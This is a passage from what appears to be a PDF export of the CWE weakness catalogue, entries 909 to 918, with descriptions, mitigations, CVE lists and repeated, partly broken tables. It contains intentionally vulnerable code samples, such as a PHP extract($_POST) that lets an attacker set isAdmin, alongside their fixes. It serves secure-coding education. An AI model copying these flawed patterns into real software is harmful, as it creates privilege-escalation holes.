$state = GetStateData($username);
if (defined($state)) {
    $uid = ExtractUserID($state);
}
# do stuff
if ($uid == 0) {
    DoAdminThings();
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as

equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C

(bad)

```
char str[20];
strcat(str, "hello world");
printf("%s", str);
```

This might seem innocent enough, but `str` was not initialized, so it contains random memory. As a result, `str[0]` might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before `str[8]`, then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before `str[8]`, then a buffer overflow could occur, since `strcat` will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Example 4:

This example will leave `test_string` in an unknown condition when `i` is the same value as `err_val`, because `test_string` is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), `test_string` might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C

(bad)

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

When the `printf()` is reached, `test_string` might be an unexpected address, so the `printf` might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that `test_string` has been properly set once it reaches the `printf()`.

One solution would be to set `test_string` to an acceptable default before the conditional:

Example Language: C

(good)

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

Example Language: C

(good)

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
else {
    test_string = "Done on the other side!";
}
printf("%s", test_string);
```

CWE-909: Missing Initialization of Resource

| | |
|---------------------------|---------------------------|
| Weakness ID : 909 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software does not initialize a critical resource.

Extended Description

Many resources require initialization before they can be properly used. If a resource is not initialized, it could contain unpredictable or expired data, or it could be initialized to defaults that are invalid. This can have security implications when the resource is expected to have certain properties or values.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Phase: Implementation

Pay close attention to complex conditionals that affect initialization, since some branches might not perform the initialization.

Phase: Implementation

Avoid race conditions (CWE-362) during initialization routines.

Phase: Build and Compilation

Run or compile your software with settings that generate warnings about uninitialized variables or data.

Demonstrative Examples

Example 1:

Here, a boolean initialized field is consulted to ensure that initialization tasks are only completed once. However, the field is mistakenly set to true during static initialization, so the initialization code is never reached.

Example Language: Java

(bad)

```
private boolean initialized = true;
public void someMethod() {
    if (!initialized) {
        // perform initialization tasks
        ...
        initialized = true;
    }
}
```

Example 2:

The following code intends to limit certain operations to the administrator only.

Example Language: Perl

(bad)

```
$username = GetCurrentUser();
```

```
$state = GetStateData($username);  
if (defined($state)) {  
    $uid = ExtractUserID($state);  
}  
# do stuff  
if ($uid == 0) {  
    DoAdminThings();  
}
```

If the application is unable to extract the state information - say, due to a database timeout - then the \$uid variable will not be explicitly set by the programmer. This will cause \$uid to be regarded as equivalent to "0" in the conditional, allowing the original user to perform administrator actions. Even if the attacker cannot directly influence the state data, unexpected errors could cause incorrect privileges to be assigned to a user just by accident.

Example 3:

The following code intends to concatenate a string to a variable and print the string.

Example Language: C

(bad)

```
char str[20];  
strcat(str, "hello world");  
printf("%s", str);
```

This might seem innocent enough, but str was not initialized, so it contains random memory. As a result, str[0] might not contain the null terminator, so the copy might start at an offset other than 0. The consequences can vary, depending on the underlying memory.

If a null terminator is found before str[8], then some bytes of random garbage will be printed before the "hello world" string. The memory might contain sensitive information from previous uses, such as a password (which might occur as a result of CWE-14 or CWE-244). In this example, it might not be a big deal, but consider what could happen if large amounts of memory are printed out before the null terminator is found.

If a null terminator isn't found before str[8], then a buffer overflow could occur, since strcat will first look for the null terminator, then copy 12 bytes starting with that location. Alternately, a buffer over-read might occur (CWE-126) if a null terminator isn't found before the end of the memory segment is reached, leading to a segmentation fault and crash.

Example 4:

This example will leave test_string in an unknown condition when i is the same value as err_val, because test_string is not initialized (CWE-456). Depending on where this code segment appears (e.g. within a function body), test_string might be random if it is stored on the heap or stack. If the variable is declared in static memory, it might be zero or NULL. Compiler optimization might contribute to the unpredictability of this address.

Example Language: C

(bad)

```
char *test_string;  
if (i != err_val)  
{  
    test_string = "Hello World!";  
}  
printf("%s", test_string);
```

When the printf() is reached, test_string might be an unexpected address, so the printf might print junk strings (CWE-457).

To fix this code, there are a couple approaches to making sure that test_string has been properly set once it reaches the printf().

One solution would be to set test_string to an acceptable default before the conditional:

Example Language: C

(good)

```
char *test_string = "Done at the beginning";
if (i != err_val)
{
    test_string = "Hello World!";
}
printf("%s", test_string);
```

Another solution is to ensure that each branch of the conditional - including the default/else branch - could ensure that test_string is set:

Example Language: C

(good)

```
char *test_string;
if (i != err_val)
{
    test_string = "Hello World!";
}
else {
    test_string = "Done on the other side!";
}
printf("%s", test_string);
```

CWE-910: Use of Expired File Descriptor

Weakness ID : 910

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software uses or accesses a file descriptor after it has been closed.

Extended Description

After a file descriptor for a particular file or device has been released, it can be reused. The code might not write to the original file, since the reused file descriptor might reference a different file or device.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-911: Improper Update of Reference Count

| | |
|---------------------------|---------------------------|
| Weakness ID : 911 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software uses a reference count to manage a resource, but it does not update or incorrectly updates the reference count.

Extended Description

Reference counts can be used when tracking how many objects contain a reference to a particular resource, such as in memory management or garbage collection. When the reference count reaches zero, the resource can be de-allocated or reused because there are no more objects that use it. If the reference count accidentally reaches zero, then the resource might be released too soon, even though it is still in use. If all objects no longer use the resource, but the reference count is not zero, then the resource might not ever be released.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-912: Hidden Functionality

Weakness ID : 912
Structure : Simple
Abstraction : Class

Status: Incomplete

Description

The software contains functionality that is not documented, not part of the specification, and not accessible through an interface or command sequence that is obvious to the software's users or administrators.

Extended Description

Hidden functionality can take many forms, such as intentionally malicious code, "Easter Eggs" that contain extraneous functionality such as games, developer-friendly shortcuts that reduce maintenance or support costs such as hard-coded accounts, etc. From a security perspective, even when the functionality is not intentionally malicious or damaging, it can increase the software's attack surface and expose additional weaknesses beyond what is already exposed by the intended functionality. Even if it is not easily accessible, the hidden functionality could be useful for attacks that modify the control flow of the application.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|--------------------|-----|--|------|
| ChildOf | IP | 710 | Improper Adherence to Coding Standards | 1405 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------|-----------------------|------------|
| Other | Varies by Context | |
| Integrity | Alter Execution Logic | |

Potential Mitigations

Phase: Installation

Always verify the integrity of the software that is being installed.

Phase: Testing

Conduct a code coverage analysis using live testing, then closely inspect any code that is not covered.

Related Attack Patterns

| CAPEC-ID | Attack Pattern Name |

| 190 | Reverse Engineer an Executable to Expose Assumed Hidden Functionality |

CWE-913: Improper Control of Dynamically-Managed Code Resources

Weakness ID : 913

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The software does not properly restrict reading from or writing to dynamically-managed code resources such as variables, objects, classes, attributes, functions, or executable instructions or statements.

Extended Description

Many languages offer powerful features that allow the programmer to dynamically create or modify existing code, or resources used by code such as variables and objects. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can directly influence these code resources in unexpected ways.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|--------------------|-----|---|------|
| ChildOf | IP | 664 | Improper Control of a Resource Through its Lifetime | 1328 |
| ParentOf | B | 94 | Improper Control of Generation of Code ('Code Injection') | 207 |

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ParentOf |  | 470 | Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') | 1026 |
| ParentOf |  | 502 | Deserialization of Untrusted Data | 1103 |
| ParentOf |  | 914 | Improper Control of Dynamically-Identified Variables | 1639 |
| ParentOf |  | 915 | Improperly Controlled Modification of Dynamically-Determined Object Attributes | 1641 |

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

| Nature | Type | ID | Name | Page |
|----------|---|------|---|------|
| ParentOf |  | 470 | Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') | 1026 |

| ParentOf |  | 1321 | Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') | 1980 |

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Integrity | Execute Unauthorized Code or Commands | |
| Other Integrity | Varies by Context Alter Execution Logic | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of acceptable values.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that it does not need to be dynamically managed.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |

| MemberOf |  | 1003 | Weaknesses for Simplified Mapping of Published Vulnerabilities | 1003 | 2239 |
| MemberOf |  | 1345 | OWASP Top Ten 2021 Category A01:2021 - Broken Access Control | 1344 | 2203 |

CWE-914: Improper Control of Dynamically-Identified Variables

Weakness ID : 914

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software does not properly restrict reading from or writing to dynamically-identified variables.

Extended Description

Many languages offer powerful features that allow the programmer to access arbitrary variables that are specified by an input string. While these features can offer significant flexibility and reduce development time, they can be extremely dangerous if attackers can modify unintended variables that have security implications.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|-----|---|------|

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------------------|------|
| MemberOf |  | 399 | Resource Management Errors | 2041 |

Weakness Ordinalities

Primary :

Common Consequences

| Scope | Impact | Likelihood |
|-----------|---|------------|
| Integrity | Modify Application Data <i>An attacker could modify sensitive data or program variables.</i> | |
| Integrity | Execute Unauthorized Code or Commands | |
| Other | Varies by Context | |
| Integrity | Alter Execution Logic | |

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of internal program variables that are allowed to be modified.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that internal program variables do not need to be dynamically identified.

Demonstrative Examples

Example 1:

This code uses the credentials sent in a POST request to login a user.

Example Language: PHP

(bad)

```
//Log user in, and set $isAdmin to true if user is an administrator
function login($user,$pass){
    $query = buildQuery($user,$pass);
    mysql_query($query);
    if(getUserRole($user) == "Admin"){
        $isAdmin = true;
    }
}
$isAdmin = false;
extract($_POST);
login(mysql_real_escape_string($user),mysql_real_escape_string($pass));
```

The call to `extract()` will overwrite the existing values of any variables defined previously, in this case `$isAdmin`. An attacker can send a POST request with an unexpected third value "isAdmin" equal to "true", thus gaining Admin privileges.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2006-7135 | extract issue enables file inclusion https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7135 |
| CVE-2006-7079 | extract used for register_globals compatibility layer, enables path traversal https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-7079 |
| CVE-2007-0649 | extract() buried in include files makes post-disclosure analysis confusing; original report had seemed incorrect. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0649 |
| CVE-2006-6661 | extract() enables static code injection https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-6661 |
| CVE-2006-2828 | import_request_variables() buried in include files makes post-disclosure analysis confusing https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2828 |
| CVE-2009-0422 | Chain: Dynamic variable evaluation allows resultant remote file inclusion and path traversal. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0422 |
| CVE-2007-2431 | Chain: dynamic variable evaluation in PHP program used to modify critical, unexpected \$_SERVER variable for resultant XSS. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2431 |
| CVE-2006-4904 | Chain: dynamic variable evaluation in PHP program used to conduct remote file inclusion. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4904 |
| CVE-2006-4019 | Dynamic variable evaluation in mail program allows reading and modifying attachments and preferences of other users. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4019 |

CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

Weakness ID : 915

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software receives input from an upstream component that specifies multiple attributes, properties, or fields that are to be initialized or updated in an object, but it does not properly control which attributes can be modified.

Extended Description

If the object contains attributes that were only intended for internal use, then their unexpected modification could lead to a vulnerability.

This weakness is sometimes known by the language-specific mechanisms that make it possible, such as mass assignment, autobinding, or object injection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|------|---|------|
| ChildOf |  | 913 | Improper Control of Dynamically-Managed Code Resources | 1638 |
| ParentOf |  | 1321 | Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') | 1980 |
| PeerOf |  | 502 | Deserialization of Untrusted Data | 1103 |
| PeerOf |  | 502 | Deserialization of Untrusted Data | 1103 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|---|-----|----------------------------|------|
| MemberOf |  | 399 | Resource Management Errors | 2041 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Ruby (*Prevalence = Undetermined*)

Language : ASP.NET (*Prevalence = Undetermined*)

Language : PHP (*Prevalence = Undetermined*)

Language : Python (*Prevalence = Undetermined*)

Language : Language-Independent (*Prevalence = Undetermined*)

Alternate Terms

Mass Assignment : "Mass assignment" is the name of a feature in Ruby on Rails that allows simultaneous modification of multiple object attributes.

AutoBinding : The "Autobinding" term is used in frameworks such as Spring MVC and ASP.NET MVC.

PHP Object Injection : Some PHP application researchers use this term for attacking unsafe use of the unserialize() function, but it is also used for CWE-502.

Common Consequences

| Scope | Impact | Likelihood |
|-----------|---|------------|
| Integrity | Modify Application Data <i>An attacker could modify sensitive data or program variables.</i> | |
| Integrity | Execute Unauthorized Code or Commands | |
| Other | Varies by Context | |
| Integrity | Alter Execution Logic | |

Potential Mitigations

Phase: Implementation

If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.

For applications written with Ruby on Rails, use the `attr_accessible` (allowlist) or `attr_protected` (denylist) macros in each class that may be used in mass assignment.

Phase: Architecture and Design

Phase: Implementation

If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.

Phase: Implementation

Strategy = Input Validation

For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.

Phase: Implementation

Phase: Architecture and Design

Strategy = Refactoring

Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2012-2054 | Mass assignment allows modification of arbitrary attributes using modified URL. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2054 |
| CVE-2012-2055 | Source version control product allows modification of trusted key using mass assignment. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2055 |
| CVE-2008-7310 | Attackers can bypass payment step in e-commerce software. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-7310 |
| CVE-2013-1465 | Use of PHP unserialize function on untrusted input allows attacker to modify application configuration. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-1465 |
| CVE-2012-3527 | Use of PHP unserialize function on untrusted input in content management system might allow code execution. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-3527 |
| CVE-2012-0911 | Use of PHP unserialize function on untrusted input in content management system allows code execution using a crafted cookie value. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911 |
| CVE-2012-0911 | Content management system written in PHP allows unserialize of arbitrary objects, possibly allowing code execution. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0911 |
| CVE-2011-4962 | Content management system written in PHP allows code execution through page comments. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-4962 |
| CVE-2009-4137 | Use of PHP unserialize function on cookie value allows remote code execution or upload of arbitrary files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4137 |

| Reference | Description |
|----------------------|--|
| CVE-2007-5741 | Content management system written in Python interprets untrusted data as pickles, allowing code execution. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5741 |
| CVE-2011-2520 | Python script allows local users to execute code via pickled data. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2520 |
| CVE-2005-2875 | Python script allows remote attackers to execute arbitrary code using pickled objects. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2875 |
| CVE-2013-0277 | Ruby on Rails allows deserialization of untrusted YAML to execute arbitrary code. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0277 |
| CVE-2011-2894 | Spring framework allows deserialization of objects from untrusted sources to execute arbitrary code. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2894 |
| CVE-2012-1833 | Grails allows binding of arbitrary parameters to modify arbitrary object properties. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1833 |
| CVE-2010-3258 | Incorrect deserialization in web browser allows escaping the sandbox. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3258 |
| CVE-2008-1013 | Media library allows deserialization of objects by untrusted Java applets, leading to arbitrary code execution. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1013 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|---|------|------|
| MemberOf | V | 1340 | CISQ Data Protection Measures | 1340 | 2254 |
| MemberOf | C | 1354 | OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures | 1344 | 2211 |

Notes

Maintenance

The relationships between CWE-502 and CWE-915 need further exploration. CWE-915 is more narrowly scoped to object modification, and is not necessarily used for deserialization.

CWE-916: Use of Password Hash With Insufficient Computational Effort

Weakness ID : 916

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software generates a hash for a password, but it uses a scheme that does not provide a sufficient level of computational effort that would make password cracking attacks infeasible or expensive.

Extended Description

Many password storage mechanisms compute a hash and store the hash, instead of storing the original password in plaintext. In this design, authentication involves accepting an incoming password, computing its hash, and comparing it to the stored hash.

Many hash algorithms are designed to execute quickly with minimal overhead, even cryptographic hashes. However, this efficiency is a problem for password storage, because it can reduce an attacker's workload for brute-force password cracking. If an attacker can obtain the hashes through some other method (such as SQL injection on a database that stores hashes), then the attacker can store the hashes offline and use various techniques to crack the passwords by computing hashes efficiently. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing (such as cloud computing) and GPU, ASIC, or FPGA hardware. In such a scenario, an efficient hash algorithm helps the attacker.

There are several properties of a hash scheme that are relevant to its strength against an offline, massively-parallel attack:

- The amount of CPU time required to compute the hash ("stretching")
- The amount of memory required to compute the hash ("memory-hard" operations)
- Including a random value, along with the password, as input to the hash computation ("salting")
- Given a hash, there is no known way of determining an input (e.g., a password) that produces this hash value, other than by guessing possible inputs ("one-way" hashing)
- Relative to the number of all possible hashes that can be generated by the scheme, there is a low likelihood of producing the same hash for multiple different inputs ("collision resistance")

Note that the security requirements for the software may vary depending on the environment and the value of the passwords. Different schemes might not provide all of these properties, yet may still provide sufficient security for the environment. Conversely, a solution might be very strong in preserving one property, which still being very weak for an attack against another property, or it might not be able to significantly reduce the efficiency of a massively-parallel attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

|----------------|---|------------|
| Access Control | Bypass Protection Mechanism Gain Privileges or Assume Identity <i>If an attacker can gain access to the hashes, then the lack of sufficient computational effort will make it easier to conduct brute force attacks using techniques such as rainbow tables, or specialized hardware such as GPUs, which can be much faster than general-purpose CPUs for computing hashes.</i> | |

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness = High

Phase: Implementation

Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Observed Examples

| Reference | Description |
|----------------------|---|
| CVE-2008-1526 | Router does not use a salt with a hash, making it easier to crack passwords. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1526 |
| CVE-2006-1058 | Router does not use a salt with a hash, making it easier to crack passwords. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1058 |
| CVE-2008-4905 | Blogging software uses a hard-coded salt when calculating a password hash. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4905 |
| CVE-2002-1657 | Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1657 |
| CVE-2001-0967 | Server uses a constant salt when encrypting passwords, simplifying brute force attacks. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0967 |
| CVE-2005-0408 | chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0408 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')

Weakness ID : 917

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The software constructs all or part of an expression language (EL) statement in a Java Server Page (JSP) using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended EL statement before it is executed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|----|---|------|
| ChildOf |  | 77 | Improper Neutralization of Special Elements used in a Command ('Command Injection') | 136 |

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

| Nature | Type | ID | Name | Page |
|---------|---|----|--|------|

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |
|----------|---|------|--|---|------|
| MemberOf |  | 1027 | OWASP Top Ten 2017 Category A1 - Injection | 1026 | 2151 |
| MemberOf |  | 1347 | OWASP Top Ten 2021 Category A03:2021 - Injection | 1344 | 2205 |

Notes**Relationship**

In certain versions of Spring 3.0.5 and earlier, there was a vulnerability (CVE-2011-2730) in which Expression Language tags would be evaluated twice, which effectively exposed any application to EL injection. However, even for later versions, this weakness is still possible depending on configuration.

CWE-918: Server-Side Request Forgery (SSRF)

| | |
|---------------------------|---------------------------|
| Weakness ID : 918 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Extended Description

By providing URLs to unexpected hosts or ports, attackers can make it appear that the server is sending the request, possibly bypassing access controls such as firewalls that prevent the

attackers from accessing the URLs directly. The server can be used as a proxy to conduct port scanning of hosts in internal networks, use other URLs such as that can access documents on the system (using file://), or use other protocols such as gopher:// or tftp://, which may provide greater control over the contents of requests.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--|------|
| ChildOf |  | 441 | Unintended Proxy or Intermediary ('Confused Deputy') | 977 |

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---|------|
| ChildOf |  | 610 | Externally Controlled Reference to a Resource in Another Sphere | 1248 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : Web Server (*Prevalence = Undetermined*)

Alternate Terms

XSPA : Cross Site Port Attack

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Read Application Data | |
| Integrity | Execute Unauthorized Code or Commands | |

Observed Examples

| Reference | Description |
|----------------------|--|
| CVE-2002-1484 | Web server allows attackers to request a URL from another server, including other ports, which allows proxied scanning. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1484 |
| CVE-2004-2061 | CGI script accepts and retrieves incoming URLs. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2061 |
| CVE-2010-1637 | Web-based mail program allows internal network scanning using a modified POP3 port number. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1637 |
| CVE-2009-0037 | URL-downloading library automatically follows redirects to file:// and scp:// URLs https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0037 |

MemberOf Relationships

